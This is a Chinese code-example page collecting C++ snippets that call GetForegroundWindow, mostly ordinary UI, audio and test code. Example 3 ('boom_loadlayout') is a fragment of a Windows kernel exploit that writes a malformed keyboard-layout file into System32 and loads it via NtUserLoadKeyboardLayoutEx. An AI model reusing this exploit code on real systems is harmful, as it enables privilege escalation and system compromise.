本文整理汇总了C++中GetForegroundWindow函数的典型用法代码示例。如果您正苦于以下问题:C++ GetForegroundWindow函数的具体用法?C++ GetForegroundWindow怎么用?C++ GetForegroundWindow使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetForegroundWindow函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: parameters
void WindowsXbox360ControllerDevice::update( const unsigned long id )
{
Core::Message parameters(5,0,0);
HWND foreground = GetForegroundWindow();
if ( this->_window_handle == foreground )
{
parameters.add_integral_data(0,id);
parameters.add_integral_data(2,this->_id);
memcpy(&this->_previous_state,&this->_current_state,sizeof(XINPUT_STATE));
if ( XInputGetState(static_cast<DWORD>(this->_id),&this->_current_state) == ERROR_SUCCESS )
{
parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLX));
parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLY));
trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION,parameters);
parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRX));
parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRY));
trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION,parameters);
if ( this->_previous_state.dwPacketNumber != this->_current_state.dwPacketNumber )
{
int difference_left_x = this->_current_state.Gamepad.sThumbLX - this->_previous_state.Gamepad.sThumbLX;
int difference_left_y = this->_current_state.Gamepad.sThumbLY - this->_previous_state.Gamepad.sThumbLY;
int difference_right_x = this->_current_state.Gamepad.sThumbRX - this->_previous_state.Gamepad.sThumbRX;
int difference_right_y = this->_current_state.Gamepad.sThumbRY - this->_previous_state.Gamepad.sThumbRY;
if ( abs(difference_left_x) > this->_deadzone || abs(difference_left_y) > this->_deadzone )
{
parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_x));
parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_y));
trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION_CHANGED,parameters);
}
if ( abs(difference_right_x) > this->_deadzone || abs(difference_right_y) > this->_deadzone )
{
parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_x));
parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_y));
trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION_CHANGED,parameters);
}
int up = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP);
int down = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN);
int left = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT);
int right = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT);
int start = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_START) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_START);
int back = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK);
int left_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB);
int right_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB);
int left_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER);
int right_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER);
int a = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_A) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_A);
int b = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_B) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_B);
int x = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_X) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_X);
int y = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y);
int left_trigger = this->_current_state.Gamepad.bLeftTrigger - this->_previous_state.Gamepad.bLeftTrigger;
int right_trigger = this->_current_state.Gamepad.bRightTrigger - this->_previous_state.Gamepad.bRightTrigger;
parameters.add_integral_data(3,0);
parameters.add_integral_data(4,0);
if ( up < 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_UP,parameters);
else if ( up > 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_DOWN,parameters);
if ( down < 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_UP,parameters);
else if ( down > 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_DOWN,parameters);
if ( left < 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_UP,parameters);
else if ( left > 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_DOWN,parameters);
if ( right < 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_UP,parameters);
else if ( right > 0 )
trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_DOWN,parameters);
if ( start < 0 )
trigger_event(Core::XBOX360_CONTROLLER_START_UP,parameters);
else if ( start > 0 )
trigger_event(Core::XBOX360_CONTROLLER_START_DOWN,parameters);
if ( back < 0 )
trigger_event(Core::XBOX360_CONTROLLER_BACK_UP,parameters);
else if ( back > 0 )
trigger_event(Core::XBOX360_CONTROLLER_BACK_DOWN,parameters);
if ( left_thumb < 0 )
//.........这里部分代码省略.........
示例2: UpdatePopupPosition
bool UpdatePopupPosition(PopupWnd2 *prev, PopupWnd2 *wnd)
{
if (!wnd) return false;
if (!PopupOptions.ReorderPopups && wnd->isPositioned()) return false;
int POPUP_SPACING = PopupOptions.spacing;
POINT pos = { 0 };
SIZE prevSize = { 0 };
if (prev)
prevSize = prev->getSize();
// we have only one monitor (cant check it together with 1.if)
RECT rc;
if (GetSystemMetrics(SM_CMONITORS) == 1)
SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0);
else { // Multimonitor stuff (we have more then 1)
HWND hWnd;
if (PopupOptions.Monitor == MN_MIRANDA)
hWnd = pcli->hwndContactList;
else // PopupOptions.Monitor == MN_ACTIVE
hWnd = GetForegroundWindow();
HMONITOR hMonitor = MonitorFromWindow(hWnd, MONITOR_DEFAULTTOPRIMARY);
MONITORINFOEX mnti;
mnti.cbSize = sizeof(MONITORINFOEX);
if (GetMonitorInfo(hMonitor, &mnti) == TRUE)
memcpy(&rc, &(mnti.rcWork), sizeof(RECT));
else
SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0);
}
rc.left += PopupOptions.gapLeft - POPUP_SPACING;
rc.right -= PopupOptions.gapRight - POPUP_SPACING;
rc.top += PopupOptions.gapTop - POPUP_SPACING;
rc.bottom -= PopupOptions.gapBottom - POPUP_SPACING;
if (PopupOptions.Spreading == SPREADING_VERTICAL) {
switch (PopupOptions.Position) {
case POS_UPPERLEFT:
pos.x = rc.left + POPUP_SPACING;
pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING;
break;
case POS_LOWERLEFT:
pos.x = rc.left + POPUP_SPACING;
pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING;
break;
case POS_LOWERRIGHT:
pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING;
pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING;
break;
case POS_UPPERRIGHT:
pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING;
pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING;
break;
}
}
else {
switch (PopupOptions.Position) {
case POS_UPPERLEFT:
pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING;
pos.y = rc.top + POPUP_SPACING;
break;
case POS_LOWERLEFT:
pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING;
pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING;
break;
case POS_LOWERRIGHT:
pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING;
pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING;
break;
case POS_UPPERRIGHT:
pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING;
pos.y = rc.top + POPUP_SPACING;
break;
}
}
wnd->setPosition(pos);
return true;
}
示例3: boom_loadlayout
VOID boom_loadlayout()
{
KEYBDINPUT kb={0};
INPUT vInput={0};
HANDLE hFile;
DWORD dwFuckS0ny;
HKL hKbd;
WCHAR lpPath[MAX_PATH]={0};
WCHAR lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"};
LPVOID lpShellPtr;
//strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath);
hFile = CreateFileW(lpLayoutFile,
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
0,
CREATE_ALWAYS,
0,0);
if( hFile == INVALID_HANDLE_VALUE )
{
printf(" \n[!!] Error:errorcode:%x\n",GetLastError());
exit(0);
}
WriteFile( hFile,
fakeDll2,
sizeof(fakeDll2)-1,
&dwFuckS0ny,
NULL);
//printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny);
CloseHandle(hFile);
hFile = CreateFileW (lpLayoutFile,
GENERIC_READ,
FILE_SHARE_READ,
0,
OPEN_EXISTING,
0,0);
if( hFile == INVALID_HANDLE_VALUE )
{
printf(" \n[!!] Error\n");
exit(0);
}
hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) );
printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101
/*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle,
IN DWORD offTable,
IN PUNICODE_STRING puszKeyboardName,
IN HKL hKL,
IN PUNICODE_STRING puszKLID,
IN DWORD dwKLID,
IN UINT Flags
) */
//win7ÏÂÃæÕâ¸öº¯ÊýÊǸö²ÎÊýÀ´ÆäÖÐoffTable²ð·Ö³É¸ö
//ÎļþÒ»¶¨Òª·ÅÔÚsystem32Ŀ¼ÏÂÃ治Ȼ´¥·¢²»ÁË
CloseHandle(hFile);
//printf("\n[+] Done\n");
}
示例4: testcooperativelevels_normal
static void testcooperativelevels_normal(void)
{
BOOL sfw;
HRESULT rc;
DDSURFACEDESC surfacedesc;
IDirectDrawSurface *surface = (IDirectDrawSurface *) 0xdeadbeef;
memset(&surfacedesc, 0, sizeof(surfacedesc));
surfacedesc.dwSize = sizeof(surfacedesc);
surfacedesc.ddpfPixelFormat.dwSize = sizeof(surfacedesc.ddpfPixelFormat);
surfacedesc.dwFlags = DDSD_CAPS | DDSD_BACKBUFFERCOUNT;
surfacedesc.dwBackBufferCount = 1;
surfacedesc.ddsCaps.dwCaps = DDSCAPS_PRIMARYSURFACE | DDSCAPS_COMPLEX | DDSCAPS_FLIP;
rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_SETFOCUSWINDOW | DDSCL_CREATEDEVICEWINDOW);
ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_SETFOCUSWINDOW | DDSCL_CREATEDEVICEWINDOW) returned: %x\n",rc);
/* Do some tests with DDSCL_NORMAL mode */
/* Fullscreen mode + normal mode + exclusive mode */
rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_FULLSCREEN | DDSCL_EXCLUSIVE | DDSCL_NORMAL);
ok(rc==DDERR_INVALIDPARAMS, "Expected DDERR_INVALIDPARAMS, received: %x\n", rc);
sfw=FALSE;
if(hwnd2)
sfw=SetForegroundWindow(hwnd2);
else
skip("Failed to create the second window\n");
rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_FULLSCREEN | DDSCL_EXCLUSIVE | DDSCL_NORMAL);
todo_wine ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_FULLSCREEN | DDSCL_EXCLUSIVE | DDSCL_NORMAL) returned: %x\n",rc);
if(sfw)
todo_wine ok(GetForegroundWindow()==hwnd,"Expected the main windows (%p) for foreground, received the second one (%p)\n",hwnd, hwnd2);
/* Try creating a double buffered primary in fullscreen + exclusive + normal mode */
rc = IDirectDraw_CreateSurface(lpDD, &surfacedesc, &surface, NULL);
if (rc == DDERR_UNSUPPORTEDMODE)
skip("Unsupported mode\n");
else
{
todo_wine ok(rc == DD_OK, "IDirectDraw_CreateSurface returned %08x\n", rc);
todo_wine ok(surface!=NULL, "Returned NULL surface pointer\n");
}
if(surface && surface != (IDirectDrawSurface *)0xdeadbeef) IDirectDrawSurface_Release(surface);
/* Exclusive mode + normal mode */
rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_EXCLUSIVE | DDSCL_NORMAL);
ok(rc==DDERR_INVALIDPARAMS,"SetCooperativeLevel(DDSCL_EXCLUSIVE | DDSCL_NORMAL) returned: %x\n",rc);
/* Fullscreen mode + normal mode */
sfw=FALSE;
if(hwnd2) sfw=SetForegroundWindow(hwnd2);
rc = IDirectDraw_SetCooperativeLevel(lpDD, hwnd, DDSCL_FULLSCREEN | DDSCL_NORMAL);
todo_wine ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_FULLSCREEN | DDSCL_NORMAL) returned: %x\n",rc);
if(sfw)
ok(GetForegroundWindow()==hwnd2,"Expected the second windows (%p) for foreground, received the main one (%p)\n",hwnd2, hwnd);
rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_FULLSCREEN | DDSCL_NORMAL);
todo_wine ok(rc==DD_OK, "Expected DD_OK, received %x\n", rc);
/* Try creating a double buffered primary in fullscreen + normal mode */
rc = IDirectDraw_CreateSurface(lpDD, &surfacedesc, &surface, NULL);
if (rc == DDERR_UNSUPPORTEDMODE)
skip("Unsupported mode\n");
else
{
ok(rc == DDERR_NOEXCLUSIVEMODE, "IDirectDraw_CreateSurface returned %08x\n", rc);
ok(surface == NULL, "Returned surface pointer is %p\n", surface);
}
if(surface && surface != (IDirectDrawSurface *)0xdeadbeef) IDirectDrawSurface_Release(surface);
/* switching from Fullscreen mode to Normal mode */
sfw=FALSE;
if(hwnd2) sfw=SetForegroundWindow(hwnd2);
rc = IDirectDraw_SetCooperativeLevel(lpDD,
hwnd, DDSCL_NORMAL);
ok(rc==DD_OK,"SetCooperativeLevel(DDSCL_NORMAL) returned: %x\n",rc);
if(sfw)
ok(GetForegroundWindow()==hwnd2,"Expected the second windows (%p) for foreground, received the main one (%p)\n",hwnd2, hwnd);
rc = IDirectDraw_SetCooperativeLevel(lpDD, NULL, DDSCL_NORMAL);
ok(rc==DD_OK, "Expected DD_OK, received %x\n", rc);
/* Try creating a double buffered primary in normal mode */
rc = IDirectDraw_CreateSurface(lpDD, &surfacedesc, &surface, NULL);
if (rc == DDERR_UNSUPPORTEDMODE)
skip("Unsupported mode\n");
else
{
ok(rc == DDERR_NOEXCLUSIVEMODE, "IDirectDraw_CreateSurface returned %08x\n", rc);
//.........这里部分代码省略.........
示例5: GetForgroundWindowClientSize
Vec2ITuple GetForgroundWindowClientSize(){
auto wnd = GetForegroundWindow();
return GetWindowClientSize((HWindow)wnd);
}
示例6: DefWindowProc
//---- --------------------------------------------------------------------------------------------------------
// Function: CommandProc
// Required: HWND hwnd - window handle that message was sent to
// UINT message - action to handle
// WPARAM wParam - dependant on message
// LPARAM lParam - dependant on message
// Returns: LRESULT
// Purpose: Handles messages sent from DispatchMessage
//---- --------------------------------------------------------------------------------------------------------
LRESULT CALLBACK Command::CommandProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
CREATESTRUCT* cs;
static Command* pCommand = NULL;
if (message == WM_CREATE)
{
cs = (CREATESTRUCT*)lParam;
pCommand = reinterpret_cast<Command*>(cs->lpCreateParams);
return DefWindowProc(hwnd, message, wParam, lParam);
}
if (pCommand == NULL)
{
return DefWindowProc(hwnd, message, wParam, lParam);
}
switch (message)
{
// Needed to handle changing the system colors. It forces
// a repaint of the window as well as the frame.
case WM_SYSCOLORCHANGE:
RedrawWindow(hwnd, NULL, NULL, RDW_ERASE | RDW_FRAME | RDW_INVALIDATE);
break;
// Repaint the icons as the window size is changing
case WM_WINDOWPOSCHANGING:
{
if (ELToLower(pCommand->GetZPosition()) == TEXT("bottom"))
{
((WINDOWPOS*)lParam)->flags |= SWP_NOZORDER;
}
}
break;
// Don't close on alt-F4
case WM_SYSCOMMAND:
return pCommand->DoSysCommand(hwnd, message, wParam, lParam);
// Send a quit message when the window is destroyed
case WM_DESTROY:
case WM_NCDESTROY:
PostQuitMessage (0);
break;
case WM_SHOWWINDOW:
{
if (wParam)
{
pCommand->ShowTextWindow();
SetTimer(hwnd, FOCUS_TIMER, 250, NULL);
}
}
return 0;
case WM_TIMER:
if (GetForegroundWindow() != hwnd)
{
pCommand->ShowAppletWindow();
}
return 0;
// If not handled just forward the message on
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}
return 0;
}
示例7: MessageBox
void FileEncrypter::InfoMsgBox(TCHAR* szTip){
MessageBox(GetForegroundWindow(),szTip,_T("亿榕公文交换平台提示"),MB_OK|MB_ICONINFORMATION);
}
示例8: DlgProcParentWindow
//.........这里部分代码省略.........
y = thinfo.pt.y;
ScreenToClient(dat->hwndTabs, &thinfo.pt);
tabId = TabCtrl_HitTest(dat->hwndTabs, &thinfo);
if (tabId != -1) {
struct MessageWindowData * mwd = GetChildFromTab(dat->hwndTabs, tabId);
//CallService(MS_USERINFO_SHOWDIALOG, (WPARAM) mwd->hContact, 0);
HMENU hMenu = (HMENU) CallService(MS_CLIST_MENUBUILDCONTACT, (WPARAM) mwd->hContact, 0);
TrackPopupMenu(hMenu, 0, x, y, 0, mwd->hwnd, NULL);
DestroyMenu(hMenu);
}
}
break;
}
} else if (pNMHDR->hwndFrom == dat->hwndStatus) {
switch (pNMHDR->code) {
case NM_CLICK:
{
NMMOUSE *nm=(NMMOUSE*)lParam;
RECT rc;
SendMessage(dat->hwndStatus, SB_GETRECT, SendMessage(dat->hwndStatus, SB_GETPARTS, 0, 0) - 1, (LPARAM)&rc);
if (nm->pt.x >= rc.left)
SendMessage(dat->hwndActive, DM_SWITCHUNICODE, 0, 0);
}
}
break;
}
}
break;
case WM_DROPFILES:
SendMessage(dat->hwndActive, WM_DROPFILES, wParam, lParam);
break;
case WM_TIMER:
if (wParam == TIMERID_FLASHWND) {
if ((dat->nFlash > dat->nFlashMax)) {// || ((GetActiveWindow() == hwndDlg) && (GetForegroundWindow() == hwndDlg))) {
KillTimer(hwndDlg, TIMERID_FLASHWND);
FlashWindow(hwndDlg, FALSE);
} else if (dat->nFlash < dat->nFlashMax) {
FlashWindow(hwndDlg, TRUE);
dat->nFlash++;
}
}
break;
case WM_CONTEXTMENU:
{
if (dat->hwndStatus && dat->hwndStatus == (HWND) wParam) {
RECT rc;
POINT pt, pt2;
GetCursorPos(&pt);
pt2.x = pt.x;
pt2.y = pt.y;
ScreenToClient(dat->hwndStatus, &pt);
SendMessage(dat->hwndStatus, SB_GETRECT, SendMessage(dat->hwndStatus, SB_GETPARTS, 0, 0) - 1, (LPARAM)&rc);
if (pt.x >= rc.left && dat->hwndActive != NULL) {
int codePage = (int) SendMessage(dat->hwndActive, DM_GETCODEPAGE, 0, 0);
int i, iSel;
for(i = 0; i < GetMenuItemCount(g_dat->hMenuANSIEncoding); i++) {
CheckMenuItem (g_dat->hMenuANSIEncoding, i, MF_BYPOSITION | MF_UNCHECKED);
}
if(codePage == CP_ACP) {
CheckMenuItem(g_dat->hMenuANSIEncoding, 0, MF_BYPOSITION | MF_CHECKED);
} else {
CheckMenuItem(g_dat->hMenuANSIEncoding, codePage, MF_BYCOMMAND | MF_CHECKED);
}
iSel = TrackPopupMenu(g_dat->hMenuANSIEncoding, TPM_RETURNCMD, pt2.x, pt2.y, 0, hwndDlg, NULL);
if (iSel >= 500) {
if (iSel == 500) iSel = CP_ACP;
示例9: changeFGWindowVolume
void changeFGWindowVolume()
{
if (soundOption == dncItemID) return;
char titleBuff[128];
HWND activeHWND = GetForegroundWindow();
GetWindowText(activeHWND, titleBuff, 128);
UINT count = sizeof(mediaCommands) / sizeof(mediaCommands[0]);
for (UINT i = 0; i < count; i++)
{
if (strstr(titleBuff, mediaCommands[i].title) > 0) return;
}
IMMDevice *mmDevice;
IMMDeviceEnumerator *mmDeviceEnum;
IAudioSessionManager2 *sessionManager;
IAudioSessionEnumerator *sessionEnum;
IAudioSessionControl *sessionControl;
IAudioSessionControl2 *sessionControl2;
ISimpleAudioVolume *audioVolume;
CoCreateInstance(__uuidof(MMDeviceEnumerator), 0, CLSCTX_ALL, __uuidof(IMMDeviceEnumerator), (void**)&mmDeviceEnum);
mmDeviceEnum->GetDefaultAudioEndpoint(eRender, eMultimedia, &mmDevice);
mmDevice->Activate(__uuidof(IAudioSessionManager2), CLSCTX_ALL, 0, (void**)&sessionManager);
sessionManager->GetSessionEnumerator(&sessionEnum);
DWORD activePid;
GetWindowThreadProcessId(activeHWND, &activePid);
int sessionCount;
sessionEnum->GetCount(&sessionCount);
for (int i = 0; i < sessionCount; i++)
{
sessionEnum->GetSession(i, &sessionControl);
sessionControl->QueryInterface(__uuidof(IAudioSessionControl2), (void**)&sessionControl2);
DWORD pid;
sessionControl2->GetProcessId(&pid);
if (activePid == pid)
{
sessionControl->QueryInterface(__uuidof(ISimpleAudioVolume), (void**)&audioVolume);
BOOL muted;
audioVolume->GetMute(&muted);
float volumeLevel;
audioVolume->GetMasterVolume(&volumeLevel);
if (soundOption == muteItemID)
{
audioVolume->SetMute(!muted, 0);
if (volumeLevel != 1.0f)
{
audioVolume->SetMasterVolume(1.0f, 0);
}
}
else
{
float newVolumeLevel = (soundOption - sBaseItemID) / 100.0f;
audioVolume->SetMasterVolume(volumeLevel == 1.0f ? newVolumeLevel : 1.0f, 0);
if (muted)
{
audioVolume->SetMute(false, 0);
}
}
audioVolume->Release();
}
sessionControl->Release();
sessionControl2->Release();
}
sessionEnum->Release();
sessionManager->Release();
mmDevice->Release();
mmDeviceEnum->Release();
}
示例10: init_player_stream
/*
* Initialize DirectSound player device.
*/
static pj_status_t init_player_stream( struct dsound_stream *ds_strm,
int dev_id,
unsigned clock_rate,
unsigned channel_count,
unsigned samples_per_frame,
unsigned buffer_count)
{
HRESULT hr;
HWND hwnd;
PCMWAVEFORMAT pcmwf;
DSBUFFERDESC dsbdesc;
DSBPOSITIONNOTIFY dsPosNotify[MAX_PACKET_BUFFER_COUNT];
unsigned bytes_per_frame;
unsigned max_latency;
unsigned i;
PJ_ASSERT_RETURN(buffer_count <= MAX_PACKET_BUFFER_COUNT, PJ_EINVAL);
/* Check device ID */
if (dev_id == -1)
dev_id = 0;
PJ_ASSERT_RETURN(dev_id>=0 && dev_id < (int)dev_count, PJ_EINVAL);
/*
* Create DirectSound device.
*/
hr = DirectSoundCreate(dev_info[dev_id].lpGuid, &ds_strm->ds.play.lpDs,
NULL);
if (FAILED(hr))
return PJ_RETURN_OS_ERROR(hr);
hwnd = GetForegroundWindow();
if (hwnd == NULL) {
hwnd = GetDesktopWindow();
}
hr = IDirectSound_SetCooperativeLevel( ds_strm->ds.play.lpDs, hwnd,
DSSCL_PRIORITY);
if FAILED(hr)
return PJ_RETURN_OS_ERROR(hr);
/*
* Set up wave format structure for initialize DirectSound play
* buffer.
*/
init_waveformatex(&pcmwf, clock_rate, channel_count);
bytes_per_frame = samples_per_frame * BYTES_PER_SAMPLE;
/* Set up DSBUFFERDESC structure. */
pj_bzero(&dsbdesc, sizeof(DSBUFFERDESC));
dsbdesc.dwSize = sizeof(DSBUFFERDESC);
dsbdesc.dwFlags = DSBCAPS_CTRLVOLUME | DSBCAPS_CTRLPOSITIONNOTIFY |
DSBCAPS_GETCURRENTPOSITION2 | DSBCAPS_GLOBALFOCUS;
dsbdesc.dwBufferBytes = buffer_count * bytes_per_frame;
dsbdesc.lpwfxFormat = (LPWAVEFORMATEX)&pcmwf;
/*
* Create DirectSound playback buffer.
*/
hr = IDirectSound_CreateSoundBuffer(ds_strm->ds.play.lpDs, &dsbdesc,
&ds_strm->ds.play.lpDsBuffer, NULL);
if (FAILED(hr) )
return PJ_RETURN_OS_ERROR(hr);
/*
* Create event for play notification.
*/
ds_strm->hEvent = CreateEvent( NULL, FALSE, FALSE, NULL);
if (ds_strm->hEvent == NULL)
return pj_get_os_error();
/*
* Setup notification for play.
*/
hr = IDirectSoundBuffer_QueryInterface( ds_strm->ds.play.lpDsBuffer,
&IID_IDirectSoundNotify,
(LPVOID *)&ds_strm->lpDsNotify);
if (FAILED(hr))
return PJ_RETURN_OS_ERROR(hr);
for (i=0; i<buffer_count; ++i) {
dsPosNotify[i].dwOffset = i * bytes_per_frame;
dsPosNotify[i].hEventNotify = ds_strm->hEvent;
}
hr = IDirectSoundNotify_SetNotificationPositions( ds_strm->lpDsNotify,
buffer_count,
dsPosNotify);
if (FAILED(hr))
return PJ_RETURN_OS_ERROR(hr);
hr = IDirectSoundBuffer_SetCurrentPosition(ds_strm->ds.play.lpDsBuffer, 0);
if (FAILED(hr))
//.........这里部分代码省略.........
示例11: InvertCase
void InvertCase(bool lastword)
{
HWND hwnd = GetForegroundWindow();
if (hwnd == NULL)
return;
HWND hwnd2 = GetFocus();
if (hwnd2 == NULL)
return;
TCHAR szClassName[16];
GetClassName(hwnd2, szClassName, _countof(szClassName));
if (mir_tstrcmpi(szClassName, _T("RichEdit50W")) != 0)
return;
DWORD dwStart, dwEnd, dwFlags = SF_TEXT | SF_UNICODE;
SendMessage(hwnd2, EM_GETSEL, (WPARAM)&dwStart, (LPARAM)&dwEnd);
bool somethingIsSelected = (dwStart != dwEnd);
if (somethingIsSelected)
dwFlags += SFF_SELECTION;
TCHAR *boo, *sel = Message_GetFromStream(hwnd2, dwFlags);
size_t slen = mir_tstrlen(sel), start = 0, end = 0;
if (slen != 0) {
end = slen;
if (lastword && !somethingIsSelected) {
end = (size_t)dwStart;
while (end < slen) {
if (_istspace(sel[end]) || isItSmiley((int)end))
break;
end++;
}
start = (size_t)dwStart - 1;
while (start > 0 && start < (size_t)dwStart) {
if ((_istspace(sel[start]) && (end - start > 2)) || isItSmiley((int)start))
break;
start--;
}
boo = (TCHAR*)mir_alloc((end - start + 1) * sizeof(TCHAR));
mir_tstrncpy(boo, sel + start, end - start);
boo[end - start] = 0;
}
else {
boo = (TCHAR*)mir_alloc((slen + 1) * sizeof(TCHAR));
mir_tstrcpy(boo, sel);
}
Invert(boo);
if (somethingIsSelected)
SendMessage(hwnd2, EM_REPLACESEL, false, (LPARAM)boo);
else {
TCHAR *NewText = (TCHAR*)mir_alloc((start + mir_tstrlen(boo) + (slen - start) + 1) * sizeof(TCHAR));
NewText[0] = 0;
mir_tstrncat(NewText, sel, start);
mir_tstrcat(NewText, boo);
mir_tstrncat(NewText, sel + end, slen - end);
SetWindowText(hwnd2, NewText);
mir_free(NewText);
}
SendMessage(hwnd2, EM_SETSEL, (WPARAM)dwStart, (LPARAM)dwEnd);
mir_free(boo);
}
mir_free(sel);
}
示例12: SwitchLayout
void SwitchLayout(bool lastword)
{
HWND hwnd = GetForegroundWindow();
if (hwnd == NULL)
return;
DWORD dwProcessID;
DWORD dwThreadID = GetWindowThreadProcessId(hwnd, &dwProcessID);
HWND hwnd2 = GetFocus();
if (hwnd2 == NULL)
return;
TCHAR szClassName[MAX_PATH];
GetClassName(hwnd2, szClassName, _countof(szClassName));
if ((mir_tstrcmp(szClassName, _T("THppRichEdit.UnicodeClass")) == 0 || mir_tstrcmp(szClassName, _T("THistoryGrid.UnicodeClass")) == 0 || mir_tstrcmp(szClassName, _T("TExtHistoryGrid.UnicodeClass")) == 0 || mir_tstrcmp(szClassName, _T("Internet Explorer_Server")) == 0) && ServiceExists(MS_POPUP_SHOWMESSAGE)) { // make popup here
TCHAR buf[2048];
if (mir_tstrcmp(szClassName, _T("Internet Explorer_Server")) == 0) {
IEVIEWEVENT event;
HWND hwnd3 = GetParent(GetParent(hwnd2));
memset(&event, 0, sizeof(event));
event.cbSize = sizeof(IEVIEWEVENT);
